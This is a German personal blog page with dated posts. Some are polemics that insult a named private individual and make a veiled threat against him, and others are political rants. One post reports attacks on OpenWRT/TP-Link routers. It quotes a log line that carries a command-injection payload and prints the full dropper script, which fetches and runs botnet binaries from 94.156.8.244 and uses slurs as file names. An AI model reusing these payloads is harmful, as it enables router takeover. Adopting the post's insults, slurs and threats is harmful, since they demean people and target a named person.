Seiten

24.05.2024

Der sich als „gar armes Opfer“ darstellende Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover):
Was meint der üble Hetzer und Betrüger wohl mit „Meinungsfreiheit“?"

Zum Artikel  auf meinem Server.

Sich bei blogspot.com weinerlich zu beschweren, wenn man sein eigenes Verhalten mit wahren Worten aufgezeigt bekommt, ist das eine und funktioniert, weil Blogspot.com nach solchen Beschwerden nicht wirklich überprüft und oder gar nebst den zu Grunde liegende Tatsachen (hier die Hetze des Andreas Skrziepietz selbst) juristisch umfassend wertet (was Blogspot.com auch nicht kann oder soll), manchmal eine gewisse Zeit lang...

Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover) - der selbst bei Blogspot.com auf üble und abstoßende Weise hetzt(e), verleumdet(e) und beleidigt(e) muss mich schon selbst verklagen, wenn er den Artikel loswerden will. Und damit wird er keinen Erfolg haben.

Aber schauen wir mal auf das Ergebnis meines Hinweises auf eindeutig strafbare Inhalte und die vom Hetzblog des Andreas Skrziepietz (https://docmachersblog.blogspot.com) ausgehende Bedrohung:

 

Ich werde den niedersächsischen „Staatsschutz“ allerdings über den Fakt informieren, dass die Schließung keinesfalls auf ein Einlenken des Andreas Skrziepietz nach der von ihm selbst veröffentlichten „Gefährderansprache“ zurückzuführen ist. Sonst stände da nämlich „Der Blog wurde vom Autor gelöscht“.

Mein Rat an den Herrn Dr. Andreas Skrziepietz:  Er nehme sich eine Aus- und Bedenkzeit - am Besten in einer wohnortnahmen sozialtherapeutischen Einrichtung. Die in Duderstadt oder Roßdorf erfreuen sich nur erzwungenermaßen eines großen Zuspruchs.

Nachricht an den Herrn: Er möge aufhören zu stalken - sonst gibt es „das ganze Paket“!

Sylt: Besorgte Bürger Eltern wollen bekokster Dummnazi-Brut das Taschengeld kürzen
Hinweis zu theoretisch möglicher Anwaltspost

Derzeit ist ja ein Video „viral“, welches zeigt, dass Blödheit noch ansteckender ist als Covid 19. Im Koks-, Alkohol- und/oder Gruppenwahn singen die gezeigten auf der Freifläche vor einem Club, der für eine hohe Dichte von Personen bekannt ist, die „von Beruf“ Sohn oder Tochter sind (denen also die Lebenserfahrung aus eigenem Lebenserwerb und somit auch jeder Antrieb für tatsächlich gutes Benehmen fehlt), zu ausländischer(!) Humbas-Dummbas-„Musik“ den Blödfascho-Text „Deutschland den Deutschen - Ausländer raus!“

Erste, nunmehr besorgte, Bürger Eltern wollen hier korrigierend eingreifen und haben angeblich die Kreditkarten der sich als „versoffene und bekokste Dummnazis“ erweisenden „Brut“ sperren lassen.

Was mir an dem Video aufgefallen ist eine weibliche, blonde Person, die freiwillig so blöd grinsend in die Kamera singt, dass mir alle Blondinenwitze aus den 80ern als „schwerst untertrieben“ erscheinen. Zur Ehrenrettung: Eine andere, ebenfalls blond, fühlt sich sichtlich unwohl und ist dem Habitus (hier: Gesichtsausdruck, Körperhaltung, Bewegungen) nach gar nicht einverstanden und völlig genervt. Das kann aber zusätzlich an dem, so wirken die Bilder auf mich, zwar ungeimpften dafür aber bekoksten Idiot liegen, der, wie das Video zeigt, ihr a) „ein Ohr abkaut“ und b) wohl „an die Wäsche will“. Ich sags mal so: „Falls der an dem Abend bekommen hat, was er wollte, dann hat er (vermutlich eine ausländische Dienstleisterin) dafür bezahlt. Aber vermutlich hat er keinen ... lassen wir das.“

Allerdings ist gemäß meiner Erfahrung mit dieser Sorte Pack nach auch zu erwarten, dass sich die volksverhetzenden Dummnazis gegen die Bilder wehren.

Ich bin zwar nur ein Schlosser - aber ich kenne mich (ausweislich meiner Berichte über ausgelachte Abmahner und gewonnene Verfahren) mit Idioten, die glauben immer Recht zu bekommen, super aus und weiß, dass solche gern „zum Anwalt rennen“, sich bei dem ausheulen und viel Geld auf den Tresen packen, damit dieser „gegen die gar unberechtigte Berichterstattung“ vorgehe.

Rechtsgrundlage einer theoretisch möglichen Abmahnung?

Rein theoretisch könnte es für die Verbreitung des Videos Anwaltspost geben - es sind ja immerhin Personen erkennbar. Also eine Abmahnung wegen angeblichen Verstoßes gegen §22 des „Gesetz betreffend das Urheberrecht an Werken der bildenden Künste und der Photographie“ (KunstUrhG), also wegen einer angeblichen Verletzung des „Rechtes am eigenen Bild“.

Die bleibt aber folgenlos.

Dem Anwalt oder der Anwältin, welcher oder welche diese Abmahnung ausspricht, bescheinige ich schon mal vorab, dass dieser oder diese entweder „euphemistisch-blond“ ist oder die eigenen Mandanten abzockt: Denn schon § 23 Absatz 1 Nr. 3 des selben Gesetzes sagt: „Ohne die nach § 22 erforderliche Einwilligung dürfen verbreitet und zur Schau gestellt werden: Bilder von Versammlungen, Aufzügen und ähnlichen Vorgängen, an denen die dargestellten Personen teilgenommen haben.

Und die Bilder zeigen genau das: Eine im Freien - sogar in der Offentlichkeit - stattfindende Versammlung von einem Haufen Nazi-Idioten allerlei Geschlechtes und (mindestens) einer löblichen Ausnahme.












23.05.2024

„Krah!“ Was? Solche „Vögel“ wollt ihr wählen?
Die AfD ist selbst für andere nationalistisch-populistische Parteien „zu sehr Nazi“.

Sinnbild: Ich kenn mich mit „Krah!“ aus. Bildrechte: Jörg Reinholz

Das jüngste Gekrähe des AfD-„Spitzenkandidaten“ mit der Hitlerfrisur (und dem großen Durcheinander darunter) brachte das Fass nur zum Überlaufen.

Wer die AfD-Nazis also immer noch als „wählbar“ betrachtet ist so „klug“ wie der sprichwörtliche Bauer mit den rekordverdächtig großen Kartoffeln. In dem Fall sind die Kartoffeln - und die Dummheit - so groß wie kanadische Kürbisse.

Denn wenn Krah der Spitzenkandidat der AfD ist - was für blödes Zeug blahschwafeln dann erst die anderen?

18.05.2024

Ein Zitat und was ich (über Scholz, Mützenich und die „AfD” - tatsächlich „NAgD“) denke

 „Europa fehlt es derzeit offenkundig am Willen oder der Fähigkeit, alles auf eine Karte zu setzen, um den russischen Imperialismus zu stoppen“.

(Aussage von Michael Roth, Vorsitzender des Auswärtigen Ausschusses des Bundestags, SPD)

Fakt ist, dass auch die immer wieder kehrenden Äußerungen des Kanzlers Scholz  - wonach dieses oder jenes „auf keinen Fall“ getan würde - nur den russischen Aggressor und Putins Claqueure begeistern.

Offenbar steht nicht nur die„ungeimpfte“  AfD (tatsächlich NAgD - „Nazi-Affen gegen Deutschland“) als von Russland und sogar China bezahlte Verräterpartei fest. Auch Scholz, Mützenich & Co. sollten sich fragen lassen, woher eigentlich die Motive derer Ansagen Absagen kommen. Und ob diese beiden als Personen ihre Positionen nicht zur Unzeit eingenommen haben. Ein Winston-Churchill-Typ täte not. eine Appeasement-Politik funktioniert nicht mit verlogen-narzistischen Kriminellen, also nicht mit Typen wie Hitler oder Putin, nordkoreanischen oder weißrussischen Kommunisten Königen Fürsten - übrigens auch nicht mit den thungo-teutonischen un- oder selbstangeblich zwangsgeimpften Covidioten - die als NAgD(e) genau solchen „Führern“ zujubeln.

16.05.2024

Angriffe auf OpenWRT/TPLINK: Empfehlung: Erreichbarkeit der Router per http(s) abstellen

Bei einer Durchsicht meiner Logfiles habe ich zahlreiche Zugriffsversuche wie diesen bemerkt:

/var/log/apache2/home.fastix.org_access.log: 80.94.92.60 - - [15/May/2024:07:56:15 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1" 404 4167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 

Das Skript „/cgi-bin/luci/“ scheint zu OpenWRT zu gehören und  ohne Authentifizierung nicht nur eine (vorliegend  vom Angreifer vorgegebene) Datei aus dem Web zu laden, sondern auch auszuführen.

Ich habe das Skript tenda.sh mal herunter geladen (Von den gebrauchten Wörtern distanziere ich mich)):

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lol http://94.156.8.244/mips; chmod +x lol; ./lol tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lmao http://94.156.8.244/mpsl; chmod +x lmao; ./lmao tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O faggot http://94.156.8.244/x86_64; chmod +x faggot; ./faggot tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O gay http://94.156.8.244/arm; chmod +x gay; ./gay tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O retard http://94.156.8.244/arm5; chmod +x retard; ./retard tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigger http://94.156.8.244/arm6; chmod +x nigger; ./nigger tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shit http://94.156.8.244/arm7; chmod +x shit; ./shit tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigga http://94.156.8.244/i586; chmod +x nigga; ./nigga tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kekw http://94.156.8.244/i686; chmod +x kekw; ./kekw tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O what http://94.156.8.244/powerpc; chmod +x what; ./what tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kys http://94.156.8.244/sh4; chmod +x kys; ./kys tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shiteater http://94.156.8.244/m68k; chmod +x shiteater; ./shiteater tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O blyat http://94.156.8.244/sparc; chmod +x blyat; ./blyat tplink 

Hm. Das es ein Angriff ist, ist klar. Die IP 94.156.8.244 gehört laut den Whois-Daten zu einer SilentConnectionLtd in Bulgarien, die IP 80.94.92.60  zu einem Serveranbieter, der sich selbst sorgfältig  zu verstecken versucht... Die Wortwahl im Skript  „tenda.sh“ verweist auf einen homosexuellen Nazi, der sich wohl etwas großes in der Hinterpforte wünscht. Dem „faggot“ nach will er danach noch daran... lassen wir das.

Betroffen sind scheinbar Nutzer von OpenWRT und/oder TPLINK-Routern. Diese sollten dafür Sorge tragen, dass die Router nicht aus dem Web erreichbar sind. Auch nicht aus dem eigenem Netz, denn solche Links sind schnell per Mail & Co. untergeschoben.

Fortinet hat das ebenfalls untersucht...

Eine Anmerkung noch: Auch wenn es bereits Updates gab: Mein Vertrauen  in die Fähigen desjenigen, der das „luci“-Skript geschrieben hat, läge auf dem Niveau des Vertrauens in „Luci-fer“.

14.05.2024

Macintosh? iBook? Da hast Du was zum Wegwerfen...

 

Ein Macintosh oder iBook kann einfach zu wenig. Ich hab hier Debian mit XFCE4. Ich darf das auch, denn...

... auf meiner Hardware bin viel mehr /root als jeder Eigentümer irgendwelchen iZeugs.